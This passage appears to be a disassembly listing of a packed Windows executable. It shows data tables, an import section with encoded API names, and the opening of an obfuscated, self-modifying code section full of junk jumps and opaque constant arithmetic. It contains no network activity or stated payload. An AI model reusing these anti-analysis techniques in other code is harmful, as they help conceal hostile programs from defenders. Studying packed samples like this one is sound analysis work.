dword_425E54	dd 4E4h			; DATA XREF: sub_40EC6A+C3w
dword_425E58	dd 0			; DATA XREF: sub_40EC6A+CBw
dword_425E5C	dd 0			; DATA XREF: sub_40EC6A+D3w
dword_425E60	dd 0			; DATA XREF: sub_40ACE3+6r
					; sub_40AE23+6r ...
		dd 8 dup(0)
off_425E84	dd offset sub_40F1F7	; DATA XREF: sub_40F4D7+30w
					; sub_40F4D7+51r ...
off_425E88	dd offset sub_437BAD	; DATA XREF: sub_40F200+10r
					; sub_40F4D7+3Dw ...
off_425E8C	dd offset sub_444F8B	; DATA XREF: sub_40F31B+44r
					; sub_40F4D7+4Aw ...
off_425E90	dd offset sub_43EF8B	; DATA XREF: sub_40F22A+Br
					; sub_40F4D7+5Ew ...
		align 8
dword_425E98	dd 15B230h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: sub_40F881+4o
					; .data:off_423800o
dword_425EB0	dd 15B258h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: .data:00423808o
dword_425EC8	dd 15B280h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: .data:00423818o
		dd 15B2A8h, 0FFFFFFFFh,	4 dup(0)
dword_425EF8	dd 15B2D0h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: .data:00423830o
		dd 15B2F8h, 0FFFFFFFFh,	4 dup(0)
		dd 15B320h, 0FFFFFFFFh,	4 dup(0)
dword_425F40	dd 15B348h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: .data:00423850o
dword_425F58	dd 15B370h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: .data:00423860o
		dd 15B398h, 0FFFFFFFFh,	4 dup(0)
		dd 15B3C0h, 0FFFFFFFFh,	4 dup(0)
dword_425FA0	dd 15B3E8h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: .data:00423880o
		dd 15B4F0h, 0FFFFFFFFh,	4 dup(0)
		dd 15B518h, 0FFFFFFFFh,	4 dup(0)
dword_425FE8	dd 9F0000h		; DATA XREF: sub_40C58B+7Cr
					; sub_40D35A+62r ...
dword_425FEC	dd 0			; DATA XREF: sub_40FADD+21w
					; sub_40FB50+21Cr ...
dword_425FF0	dd 0			; DATA XREF: sub_41183A+14r
					; sub_41183A+29r ...
dword_425FF4	dd 0			; DATA XREF: sub_417C3F+19Er
dword_425FF8	dd 2			; DATA XREF: .text:0040E07Aw
					; sub_411A06:loc_411A2Er ...
dword_425FFC	dd 0A28h		; DATA XREF: .text:0040E091w
dword_426000	dd 501h			; DATA XREF: .text:0040E080w
dword_426004	dd 5			; DATA XREF: .text:0040E085w
					; sub_411A3D+30r
dword_426008	dd 1			; DATA XREF: .text:0040E08Bw
dword_42600C	dd 1			; DATA XREF: sub_414BB6+A2w
dword_426010	dd 9F2BA8h		; DATA XREF: sub_414BB6+A7w
		align 8
dword_426018	dd 9F2BC8h		; DATA XREF: sub_414943+4Bw
					; sub_414943:loc_414A08r ...
		dd 3 dup(0)
off_426028	dd offset aCM_unpackerPac ; DATA XREF: sub_414BB6+37w
					; "C:\\m_unpacker\\packed.exe"
		align 10h
byte_426030	db 0			; DATA XREF: sub_411B0B+2Cw
					; sub_411DC0+5r
		align 4
dword_426034	dd 1			; DATA XREF: sub_411B0B+23w
dword_426038	dd 1			; DATA XREF: sub_411B0B+1Br
					; sub_411B0B+A0w
dword_42603C	dd 0			; DATA XREF: sub_411C6D+27o
dword_426040	dd 0			; DATA XREF: sub_411C6D+22r
dword_426044	dd 0			; DATA XREF: sub_411CDD+4w sub_411CE7r
dword_426048	dd 0			; DATA XREF: sub_411E84+280w
					; sub_41239F:loc_4123D5w ...
		dd 3 dup(0)
dword_426058	dd 6 dup(0)		; DATA XREF: sub_4136C1+66o
		db 0
byte_426071	db 3 dup(0)		; DATA XREF: sub_4136C1+8Ao
		dd 40h dup(0)
		db 0
byte_426175	db 0			; DATA XREF: sub_4136C1+92w
		align 4
		dd 7Dh dup(0)
dword_42636C	dd 0			; DATA XREF: sub_40D437+80r
					; sub_4136C1+E3o ...
dword_426370	dd 0			; DATA XREF: sub_4143F6+8r
		align 8
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_414BB6+1Do
					; .data:off_426028o
		align 4
		dd 3Ah dup(0)
byte_42647C	db 0			; DATA XREF: sub_414BB6+24w
		align 10h
dword_426480	dd 1			; DATA XREF: sub_414C6F+2r
					; sub_414C6F+24w ...
dword_426484	dd 77C26E79h		; DATA XREF: sub_414E80+43r
					; sub_414EEC+11w ...
byte_426488	db 0			; DATA XREF: sub_414E80:loc_414EB9r
					; sub_414EEC+17w ...
		align 4
off_42648C	dd offset sub_415BBB	; DATA XREF: sub_415C07+Cr
					; sub_415C3E+Bw
dword_426490	dd 1			; DATA XREF: sub_415CB7+14r
					; sub_415CB7+3Aw ...
dword_426494	dd 1			; DATA XREF: sub_41609C+Fr
					; sub_41609C+37w ...
dword_426498	dd 0			; DATA XREF: .data:off_423F1Co
					; .data:off_423F20o ...
dword_42649C	dd 77E7C706h		; DATA XREF: sub_41685A+4w
					; sub_416874+11r ...
dword_4264A0	dd 0			; DATA XREF: sub_41731D+Ar
dword_4264A4	dd 0			; DATA XREF: sub_417982+4w
					; sub_4179DC:loc_417A25o ...
dword_4264A8	dd 0			; DATA XREF: sub_417982+9w
					; sub_4179DC:loc_417A7Bo ...
dword_4264AC	dd 0			; DATA XREF: sub_417982+Ew sub_4179CFr ...
dword_4264B0	dd 0			; DATA XREF: sub_417982+13w
					; sub_4179DC:loc_417A87o ...
		align 8
dword_4264B8	dd 0			; DATA XREF: sub_417B8C+4w
		dd 2 dup(0)
dword_4264C4	dd 0			; DATA XREF: sub_417B96+4w
		dd 0Fh dup(0)
dword_426504	dd 0			; DATA XREF: sub_411E84+6r
dword_426508	dd 0			; DATA XREF: sub_4190F4+10r
					; sub_4190F4+60w ...
dword_42650C	dd 0			; DATA XREF: sub_4190F4+75w
					; sub_4190F4:loc_419242r
dword_426510	dd 0			; DATA XREF: sub_4190F4+82w
					; sub_4190F4+167r
dword_426514	dd 0			; DATA XREF: sub_4190F4+D0w
					; sub_4190F4:loc_4191C9r
dword_426518	dd 0			; DATA XREF: sub_4190F4+BAw
					; sub_4190F4+E1r ...
		align 10h
dword_426520	dd 0			; DATA XREF: sub_41933C+Fw
		dd 2Fh dup(0)
dword_4265E0	dd 0			; DATA XREF: sub_41A399:loc_41A3C1r
byte_4265E4	db 0			; DATA XREF: sub_41A564:loc_41A6A0r
		align 4
dword_4265E8	dd 0			; DATA XREF: sub_401000+98w
					; sub_401000+12Dr ...
dword_4265EC	dd 0			; DATA XREF: sub_401000+B8w
					; sub_401000+145r ...
dword_4265F0	dd 0			; DATA XREF: sub_401000+DCw
					; sub_401000+15Dr ...
dword_4265F4	dd 0			; DATA XREF: sub_401000+68w
					; sub_401000+109r ...
dword_4265F8	dd 0			; DATA XREF: sub_401000+78w
					; sub_401000+115r ...
dword_4265FC	dd 0			; DATA XREF: sub_401000+88w
					; sub_401000+121r ...
dword_426600	dd 0			; DATA XREF: sub_401000+48w
					; sub_401000+ECr ...
dword_426604	dd 0			; DATA XREF: sub_401000+A8w
					; sub_401000+139r ...
dword_426608	dd 0			; DATA XREF: sub_401000+F2w
					; sub_401000+268r
dword_42660C	dd 0			; DATA XREF: sub_401000+58w
					; sub_401000+FDr ...
dword_426610	dd 0			; DATA XREF: sub_401000+C8w
					; sub_401000+151r ...
dword_426614	dd 0			; DATA XREF: sub_40312D+A3w
					; sub_408CC5+21Cr ...
dword_426618	dd 0			; DATA XREF: sub_402BB7+4Bw
					; sub_40386C+Dr ...
dword_42661C	dd 0			; DATA XREF: sub_402BB7+50w
					; sub_40386C+13r ...
dword_426620	dd 0			; DATA XREF: sub_402BB7+61w
dword_426624	dd 0			; DATA XREF: sub_402BB7+66w
dword_426628	dd 0			; DATA XREF: sub_402BB7+71w
dword_42662C	dd 0			; DATA XREF: sub_402BB7+76w
dword_426630	dd 0			; DATA XREF: sub_402D40w
					; sub_402D8A:loc_402DAAr ...
dword_426634	dd 0			; DATA XREF: sub_402D40+7w
					; sub_402D8A+27r ...
dword_426638	dd 0			; DATA XREF: sub_402D40+1Ew
					; sub_402D40+2Do ...
dword_42663C	dd 0			; DATA XREF: sub_402D40+23w
		dd 33h dup(0)
dword_42670C	dd 2 dup(0)		; DATA XREF: sub_402D40+41o
word_426714	dw 0			; DATA XREF: sub_4030E2+22o
					; sub_40312D+A8w ...
word_426716	dw 0			; DATA XREF: sub_40312D+C4w
dword_426718	dd 0			; DATA XREF: sub_40312D+CAw
		dd 2 dup(0)
dword_426724	dd 0			; DATA XREF: sub_40300B+6r
					; sub_40300B+73r ...
dword_426728	dd 41h dup(0)		; DATA XREF: sub_40312D+Do
					; sub_40312D+49o ...
dword_42682C	dd 0			; DATA XREF: sub_4030E2+27r
					; sub_40312D+7Dw ...
byte_426830	db 0			; DATA XREF: sub_40312D+27o
					; sub_40312D+6Ew ...
		align 4
		dd 40h dup(0)
byte_426934	db 0			; DATA XREF: sub_40312D+10Fw
					; sub_4049E1+3D8w ...
		align 4
dword_426938	dd 41h dup(0)		; DATA XREF: sub_40312D+1Ao
					; sub_403249:loc_403442o
dword_426A3C	dd 0			; DATA XREF: sub_401000+386o
					; sub_402833+167o ...
byte_426A40	db 0			; DATA XREF: sub_40386C:loc_40389Cr
					; sub_4049E1+36Ew ...
		align 4
		dd 8 dup(0)
dword_426A64	dd 0			; DATA XREF: sub_4081DD+32w
					; sub_4081DD+96r ...
dword_426A68	dd 40h dup(0)		; DATA XREF: sub_407F60+21o
					; sub_407FE4+45o
byte_426B68	db 0			; DATA XREF: .text:0040A20Dw
		align 4
		dd 3Fh dup(0)
dword_426C68	dd 0			; DATA XREF: .text:0040A1B5r
					; .text:0040A1E3w
		dd 3 dup(0)
		db 0
byte_426C79	db 0			; DATA XREF: .text:loc_409F26r
					; .text:0040A323w
		align 4
		dd 3 dup(0)
dword_426C88	dd 0			; DATA XREF: .text:loc_40A2FDr
		dd 330Bh dup(0)
dword_4338B8	dd 0			; DATA XREF: sub_403249+3C2w
					; sub_403249+441r ...
		db 0
byte_4338BD	db 0			; DATA XREF: sub_4049E1+3CAw
					; sub_407F60+Er ...
		align 10h
dword_4338C0	dd 0			; DATA XREF: sub_4081DD+151w
dword_4338C4	dd 0			; DATA XREF: sub_407FE4:loc_40814Ew
					; sub_407FE4+190r ...
dword_4338C8	dd 5Eh dup(0)		; DATA XREF: .text:004096C1o
dword_433A40	dd 5Dh dup(0)		; DATA XREF: .text:004096E4o
dword_433BB4	dd 0			; DATA XREF: sub_401E54+43o
					; sub_4046BC+F0o ...
dword_433BB8	dd 0			; DATA XREF: sub_401E54+34r
					; sub_4046BC+E9r ...
dword_433BBC	dd 0			; DATA XREF: sub_401FC0+20r
					; sub_401FC0:loc_40201Dw ...
dword_433BC0	dd 0			; DATA XREF: sub_402833+BCo
					; sub_408395+43o ...
dword_433BC4	dd 0			; DATA XREF: sub_402833+AFr
					; sub_402833:loc_402903r ...
dword_433BC8	dd 0			; DATA XREF: sub_408428+82w
					; sub_408525+20r ...
off_433BCC	dd offset aJ@		; DATA XREF: .text:0041D788o
					; .text:0041D792w
					; "Ȇ@"
dword_433BD0	dd 2080Ah		; DATA XREF: .text:00409739o
					; .text:0041D7A6w
off_433BD4	dd offset aWv@		; DATA XREF: .text:0041D7CEo
					; .text:0041D7D8w
					; "w¢@"
off_433BD8	dd offset aTg@		; DATA XREF: .text:0041D7EAo
					; .text:0041D7F4w
					; "T£@"
off_433BDC	dd offset aA@		; DATA XREF: .text:0041D7B2o
					; .text:0041D7BCw
					; "Ñ@"
dword_433BE0	dd 0			; DATA XREF: sub_4143F6+34r
dword_433BE4	dd 20h			; DATA XREF: sub_412464+3Cw
					; sub_412464+BFw ...
		dd 6 dup(0)
dword_433C00	dd 9F20B0h		; DATA XREF: sub_4107D6+FDr
					; sub_411D0F+87r ...
		dd 3Fh dup(0)
dword_433D00	dd 9F3188h		; DATA XREF: sub_411D0F+2Bw
					; sub_411D0F+44w ...
		dd 7 dup(0)
dword_433D20	dd 400h	dup(0)		; DATA XREF: .data:off_423938o
					; .data:00423940o
dword_434D20	dd 200h			; DATA XREF: sub_411D0Fr
					; sub_411D0F:loc_411D29w ...
dword_434D24	dd 0			; DATA XREF: sub_411C65w
dword_434D28	dd 1			; DATA XREF: sub_414943+B3w
dword_434D2C	dd 9F310Ch		; DATA XREF: sub_40C8D8+10r
					; sub_40C8D8+9Bw ...
dword_434D30	dd 9F3100h		; DATA XREF: sub_40C8D8+5r
					; sub_40C8D8+87w ...
dword_434D34	dd 1			; DATA XREF: sub_40EE04r
					; sub_40EE04+11w ...
dword_434D38	dd 0			; DATA XREF: sub_411A79:loc_411AE2r
					; sub_411A79+74o ...
dword_434D3C	dd 1			; DATA XREF: sub_40DE50r sub_411455w ...
dword_434D40	dd 1			; DATA XREF: sub_40C6F0+1Er
					; sub_40D820+28r ...
dword_434D44	dd 0			; DATA XREF: sub_40FADD+28w
					; sub_40FB25r ...
dword_434D48	dd 0			; DATA XREF: sub_40FADD+15w
					; sub_40FB25+6r ...
dword_434D4C	dd 0			; DATA XREF: sub_40D3E8+13r
					; sub_40FADD+36w ...
dword_434D50	dd 0			; DATA XREF: sub_40FADD+2Fw
					; sub_40FB50+2FCw ...
dword_434D54	dd 0			; DATA XREF: sub_40FADD+3Cw
					; sub_40FE64r ...
dword_434D58	dd 0			; DATA XREF: sub_40FB50+229r
					; sub_40FB50+249r ...
dword_434D5C	dd 1			; DATA XREF: sub_40C58B:loc_40C5C4r
					; sub_40D35A+13r ...
dword_434D60	dd 152340h		; DATA XREF: .text:0040E0E5w
					; sub_4148E6:loc_4148F7r ...
		align 400h
_data		ends

; Section 5. (virtual address 00036000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00036000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_2ksypd8v	segment	para public 'DATA' use32
		assume cs:_2ksypd8v
		;org 436000h
dword_436000	dd 360CCh, 0		; DATA XREF: isk1wxzg:004615EEo
					; sub_4760A2+9o
		dd 0FFFFFFFFh, 3603Ch, 360B4h, 36108h, 0
		dd 0FFFFFFFFh, 360E8h, 36104h, 5 dup(0)
aKernel32_dll_1	db 'kernel32.dll',0
		align 4
		dd 65470000h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6F4C0000h
		dd 694C6461h, 72617262h, 4179h,	65470000h, 6F725074h, 64644163h
		dd 73736572h, 0
		dd 78450000h, 72507469h, 7365636Fh, 73h, 69560000h, 61757472h
		dd 6C6C416Ch, 636Fh, 69560000h,	61757472h, 6572466Ch, 65h
		dd 77E79F93h, 77E805D8h, 77E7A5FDh, 77E75CB5h, 77E7980Ah
		dd 77E79E34h, 3604Ch, 36060h, 36070h, 36084h, 36094h, 360A4h
		dd 0
aUser32_dll_0	db 'user32.dll',0
		align 4
		dd 654D0000h, 67617373h, 786F4265h, 41h, 77D6ADD7h, 360F4h
		dd 359h	dup(0)
		dd 1CF0600h, 1000h, 62h	dup(0)
_2ksypd8v	ends

; ---------------------------------------------------------------------------
; Section 6. (virtual address 00037000)
; Virtual size			: 00018000 (  98304.)
; Section size in file		: 00018000 (  98304.)
; Offset to raw	data for section: 00037000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
y22d6_y_	segment	para public 'CODE' use32
		assume cs:y22d6_y_
		;org 437000h
; START	OF FUNCTION CHUNK FOR sub_439F2D
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

loc_437000:				; CODE XREF: sub_439F2D:loc_43BE61j
					; DATA XREF: isk1wxzg:004616A8o
		xchg	esi, [esp+0]
		jmp	sub_44B06F
; END OF FUNCTION CHUNK	FOR sub_439F2D
; ---------------------------------------------------------------------------

loc_437008:				; CODE XREF: y22d6.y.:0043FF92j
		cdq
		add	ebp, edx
		jmp	loc_444814
; ---------------------------------------------------------------------------

loc_437010:				; DATA XREF: sub_448006:loc_43ADCDo
		pop	edx
		jns	loc_43EE8C
		mov	eax, [esp]
		push	esi
		mov	esi, edx
		xchg	esi, [esp]
		call	sub_44B674
		jmp	loc_443A9C
; ---------------------------------------------------------------------------

loc_43702A:				; CODE XREF: y22d6.y.:00440731j
					; y22d6.y.:00444EC6j
		jz	loc_448866
		jmp	loc_43BC42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449641

loc_437035:				; CODE XREF: sub_449641:loc_439351j
		pop	ecx
		sub	edx, 5E21C20h
		cmp	edx, 0BFC13B4Bh
		jmp	loc_43EEE5
; END OF FUNCTION CHUNK	FOR sub_449641
; ---------------------------------------------------------------------------
		mov	ebp, [eax]
		jmp	sub_4432B8

; =============== S U B	R O U T	I N E =======================================



sub_43704E	proc near		; CODE XREF: sub_402833+17Ap
					; sub_4049E1+309p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004399B9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00439BA1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00439BF8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043B4B0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D268 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DD87 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043FADF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00443A14 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044408C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044455C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044638B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044B826 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044BFAF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C2D9 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044DF44 SIZE 00000014 BYTES

		jns	loc_44408C
		push	7F3D3579h

loc_437059:				; CODE XREF: y22d6.y.:004385D1j
		pop	eax

loc_43705A:				; CODE XREF: sub_439407:loc_441D03j
		and	eax, ds:4000E3h
		or	eax, 27E994D5h
		jmp	loc_44C2D9
sub_43704E	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_256. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43706C:				; CODE XREF: y22d6.y.:004454E7j
		jl	loc_446E74
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_437072:				; CODE XREF: sub_4432B8+B1j
		jmp	nullsub_55
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
		shr	edx, 5
		adc	ebx, edx
		jmp	loc_44A987
; ---------------------------------------------------------------------------
		sub	edx, 40BD245Fh
		xchg	ecx, eax
		jmp	loc_44874F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B635

loc_43708E:				; CODE XREF: sub_43AF5B:loc_43B21Fj
					; sub_44B635-7BC4j ...
		xor	eax, 0DEBF6904h
		add	eax, 0B9241504h
		xor	eax, 0D42D5B70h
		ror	eax, 1Ch
		add	eax, 47EF37F3h
		push	ebp
		mov	ebp, ecx
		xchg	ebp, [esp+4+var_4]
		jmp	loc_447BD4
; END OF FUNCTION CHUNK	FOR sub_44B635
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4416F3

loc_4370B4:				; CODE XREF: sub_4416F3+174Cj
		and	ebx, eax
		mov	edi, [edx]

loc_4370B8:				; CODE XREF: y22d6.y.:0044A6DAj
		pushf
		jmp	loc_43BF27
; END OF FUNCTION CHUNK	FOR sub_4416F3
; ---------------------------------------------------------------------------

loc_4370BE:				; CODE XREF: y22d6.y.:loc_4462A2j
		push	0A70EEA1Ch
		pop	ebx
		add	ebx, 23840597h
		rol	ebx, 0Ah
		and	ebx, 306E5E3h
		add	ebx, 0FD3DAC25h
		xchg	ebx, [esp]
		jmp	loc_448A8A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_80. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_4370E2:				; CODE XREF: y22d6.y.:0044B2ECj
		jmp	nullsub_360
; ---------------------------------------------------------------------------

loc_4370E7:				; CODE XREF: y22d6.y.:00447FD3j
		jmp	sub_441030
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C6D7

loc_4370EC:				; CODE XREF: sub_43C6D7+8j
		jz	loc_44E4CB
		jmp	loc_44BE14
; END OF FUNCTION CHUNK	FOR sub_43C6D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_4370F7:				; CODE XREF: sub_44B17B-AB1Fj
		add	edx, ebp
		call	sub_43FFE2

loc_4370FE:				; CODE XREF: sub_44B489:loc_43BCD8j
		push	edx
		push	0D69AAEDFh
		pop	edx
		and	edx, 8B395991h
		test	edx, 10h

loc_437111:				; CODE XREF: y22d6.y.:loc_438CF4j
		jmp	loc_44A95C
; END OF FUNCTION CHUNK	FOR sub_44B17B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_99. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441A2B

loc_437117:				; CODE XREF: sub_441A2B:loc_444D2Fj
		jmp	loc_444597
; END OF FUNCTION CHUNK	FOR sub_441A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43711C:				; CODE XREF: sub_448EB6-10887j
		jnz	loc_43BE5E
		jmp	loc_43E399
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
		shl	ecx, 15h
		jmp	sub_43C55B
; ---------------------------------------------------------------------------

loc_43712F:				; DATA XREF: sub_438B66+81Eo
		call	sub_43CA1A
		mov	ds:off_41E0B8, eax
		lea	eax, sub_43B58F
		mov	byte ptr [eax],	0C3h
		jmp	loc_43FF5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C694

loc_437148:				; CODE XREF: sub_43C694:loc_4427EBj
		and	edi, ebp
		and	eax, 59B96F40h
		or	ecx, ebx
		sbb	ecx, 0ACAB1301h
		shr	ebx, 1Fh
		jmp	loc_437CFE
; END OF FUNCTION CHUNK	FOR sub_43C694
; ---------------------------------------------------------------------------
		or	ecx, 43953F1Ah
		jmp	sub_43A041
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_63. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43716C:				; CODE XREF: y22d6.y.:0043EE94j
		jmp	locret_44E19D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_149. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E7BF

loc_437172:				; CODE XREF: sub_43E7BF-2130j
		mov	edx, eax
		pop	eax
		mov	eax, [esp+0]
		push	edx
		call	sub_44A413
		mov	eax, 1A07B6BCh
		jmp	loc_445CE0
; END OF FUNCTION CHUNK	FOR sub_43E7BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E185

loc_437188:				; CODE XREF: sub_43E185-4C3Dj
		push	3FAF18A3h
		and	ebx, 0BFA2CA57h
		jmp	loc_44DA63
; END OF FUNCTION CHUNK	FOR sub_43E185
; ---------------------------------------------------------------------------
		xchg	eax, ecx
		jno	loc_43A2F1
		jmp	sub_4489FA
; ---------------------------------------------------------------------------

loc_4371A5:				; DATA XREF: y22d6.y.:004471AFo
		pop	ecx
		mov	[ebp-20h], eax
		jmp	loc_444720
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CB3F

loc_4371AE:				; CODE XREF: sub_44CB3F:loc_449826j
		test	byte ptr [ebp-7], 8

loc_4371B2:				; CODE XREF: y22d6.y.:loc_44CB39j
		jz	loc_43CE51
		push	ebp
		push	offset loc_4430C4
		jmp	nullsub_329
; END OF FUNCTION CHUNK	FOR sub_44CB3F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A5E5

loc_4371C3:				; CODE XREF: sub_44A5E5:loc_4396EBj
					; sub_4432B8+169j
		add	edi, 0AF7D439h
		xchg	edi, [esp+0]
		jmp	loc_44E2AA
; END OF FUNCTION CHUNK	FOR sub_44A5E5
; ---------------------------------------------------------------------------

loc_4371D1:				; CODE XREF: y22d6.y.:00443782j
		jb	loc_442F54
		or	ebp, 0BB956894h
		mov	eax, [ebx]

loc_4371DF:				; CODE XREF: y22d6.y.:loc_44D6A6j
		mov	eax, [esp]
		push	edx
		push	5BF6A406h
		pop	edx
		jmp	loc_438B72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43872E

loc_4371EE:				; CODE XREF: sub_43872E:loc_43A6DCj
		push	edx
		call	sub_438F17
		shr	eax, 1Fh
		jmp	loc_4376B2
; END OF FUNCTION CHUNK	FOR sub_43872E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449641

loc_4371FC:				; CODE XREF: sub_449641:loc_44245Aj
		push	0D38B4117h
		pop	esi
		add	esi, 1E99128Eh
		xor	esi, ds:4000E5h
		sub	esi, 51CFD5CBh
		add	esi, 730C127Fh
		mov	[esi], eax
		pop	esi
		jmp	loc_44887D
; END OF FUNCTION CHUNK	FOR sub_449641
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C7C1

loc_437222:				; CODE XREF: sub_43C7C1+1ABFj
		pop	eax

loc_437223:				; CODE XREF: sub_43C7C1:loc_43E26Dj
		xor	ecx, 6665BFBh
		add	ecx, 4C48A4E6h
		mov	[ecx], eax
		jmp	loc_43EE7D
; END OF FUNCTION CHUNK	FOR sub_43C7C1

; =============== S U B	R O U T	I N E =======================================



sub_437236	proc near		; CODE XREF: y22d6.y.:00446FB0p
					; sub_448EB6:loc_4476C3j
		xchg	eax, [esp+0]
		pop	eax
		mov	byte ptr [eax],	0C3h
		jmp	sub_44B81B
sub_437236	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B81B

loc_437242:				; CODE XREF: sub_44B81Bj
		xchg	ecx, [esp+0]
		mov	edx, ecx
		pop	ecx
		jmp	loc_43CF2E
; END OF FUNCTION CHUNK	FOR sub_44B81B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44921D

loc_43724D:				; CODE XREF: y22d6.y.:0043ADE3j
					; sub_44921D:loc_44838Ej
		xor	eax, 808937C6h
		call	sub_43CA1A
		push	ecx
		push	739F263Ch
		jmp	loc_449BA0
; END OF FUNCTION CHUNK	FOR sub_44921D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44193A

loc_437263:				; CODE XREF: sub_44193A+8BCj
		and	eax, 482E9AB9h
		xor	eax, 9828D20Eh
		or	eax, 0B63D3EFBh
		add	eax, 0A061A81h
		jmp	loc_447F14
; END OF FUNCTION CHUNK	FOR sub_44193A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BCA9

loc_437280:				; CODE XREF: sub_43BCA9:loc_43C2A5j
		jz	loc_43AFFB
		jmp	loc_44421D
; END OF FUNCTION CHUNK	FOR sub_43BCA9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E39E

loc_43728B:				; CODE XREF: sub_43E39E+1Aj
		jge	loc_4378DE

loc_437291:				; CODE XREF: sub_442245-866Dj
		jmp	nullsub_33
; END OF FUNCTION CHUNK	FOR sub_43E39E
; ---------------------------------------------------------------------------
		mov	eax, edi
		jmp	loc_4378D3
; ---------------------------------------------------------------------------

loc_43729D:				; DATA XREF: sub_449641-A30Co
		popf
		xchg	ebx, [esp]
		jmp	loc_43F7FA
; ---------------------------------------------------------------------------
		mov	edx, 3CC6743Ch
		push	edi
		push	0C89DC38Fh
		xchg	ebp, [esp]
		mov	edi, ebp
		pop	ebp
		jmp	loc_43A67D

; =============== S U B	R O U T	I N E =======================================



sub_4372BC	proc near		; CODE XREF: y22d6.y.:0043F9EBj
					; sub_442856:loc_448687p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043AD79 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		xchg	ebx, [esp-4+arg_0]
		jmp	loc_43AD79
sub_4372BC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4475B3

loc_4372C8:				; CODE XREF: sub_4475B3:loc_44BDA1j
		pop	ecx
		push	offset loc_43C67C
		jmp	nullsub_193
; END OF FUNCTION CHUNK	FOR sub_4475B3

; =============== S U B	R O U T	I N E =======================================



sub_4372D3	proc near		; DATA XREF: sub_4427BB+1o
		mov	[ebp-20h], eax
		jmp	loc_447463
sub_4372D3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CB3F

loc_4372DB:				; CODE XREF: sub_44CB3F:loc_444720j
		test	byte ptr [ebp-8], 40h
		call	sub_4450FD

loc_4372E4:				; CODE XREF: sub_44A947+10j
		jmp	loc_4375AA
; END OF FUNCTION CHUNK	FOR sub_44CB3F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446082

loc_4372E9:				; CODE XREF: sub_446082+Cj
		jmp	loc_438658
; END OF FUNCTION CHUNK	FOR sub_446082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C17E

